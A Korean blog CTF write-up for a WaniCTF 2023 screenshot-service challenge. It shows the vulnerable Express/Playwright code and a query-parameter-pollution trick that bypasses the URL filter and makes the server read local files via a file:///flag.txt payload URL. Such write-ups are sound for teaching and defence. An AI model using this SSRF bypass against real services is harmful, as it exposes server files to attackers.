1. 개요
SSRF(Sever Side Requets Forge) 문제
2. 분석
플래그는 flag.txt에 있다고 합니다.
코드를 보면, /api/screenshot로 요청받은 url을 스크린샷 찍어서 보여줍니다.
다만, url에는 http 프로토콜이 사용되고, file 프로토콜은 사용되지 못하도록 검사하고 있습니다.
const playwright = require("playwright");
const express = require("express");
const morgan = require("morgan");
const main = async function () {
const browser = await playwright.chromium.launch();
const app = express();
// Logging
app.use(morgan("short"));
app.use(express.static("static"));
app.get("/api/screenshot", async function (req, res) {
const context = await browser.newContext();
context.setDefaultTimeout(5000);
try {
if (!req.query.url.includes("http") || req.query.url.includes("file")) {
res.status(400).send("Bad Request");
return;
}
const page = await context.newPage();
const params = new URLSearchParams(req.url.slice(req.url.indexOf("?")));
await page.goto(params.get("url"));
const buf = await page.screenshot();
res.header("Content-Type", "image/png").send(buf);
} catch (err) {
console.log("[Error]", req.method, req.url, err);
res.status(500).send("Internal Error");
} finally {
await context.close();
}
});
app.listen(80, () => {
console.log("Listening on port 80");
});
};
main();
다만, JS express에서 다음과 같이 동일한 쿼리 파라미터를 보내면, list로 받습니다.
http://localhost:3000/?url=hello&url=word
const express = require('express');
const app = express();
const port = process.env.PORT || 3000; // 포트 설정
app.get('/', (req, res) => {
console.log('query', req.query)
return res.json({ code: 0, message: '성공' });
});
app.listen(port, () => {
console.log(`서버 실행중 http://localhost:${port}`);
})
이 조건을 이용하면 다음과 같이 보내서 검사를 통과하고 서버에서 file 프로토콜로 요청을 보낼 수 있습니다.
https://screenshot-web.wanictf.org/api/screenshot?url=file:///flag.txt&url=http
참고로 file:// 은 file url scheme으로 부르는데, 로컬 파일을 볼 수 있습니다.
'CTF' 카테고리의 다른 글
[SCTF 2022] Yet Another Injection (0) | 2023.05.20 |
---|---|
[WaniCTF 2023] certified 1 (0) | 2023.05.13 |
[WaniCTF 2023] Prompt (0) | 2023.05.07 |
[WaniCTF 2023] Extract Service 2 (0) | 2023.05.06 |
[WaniCTF 2023] Extract Service 1 (0) | 2023.05.06 |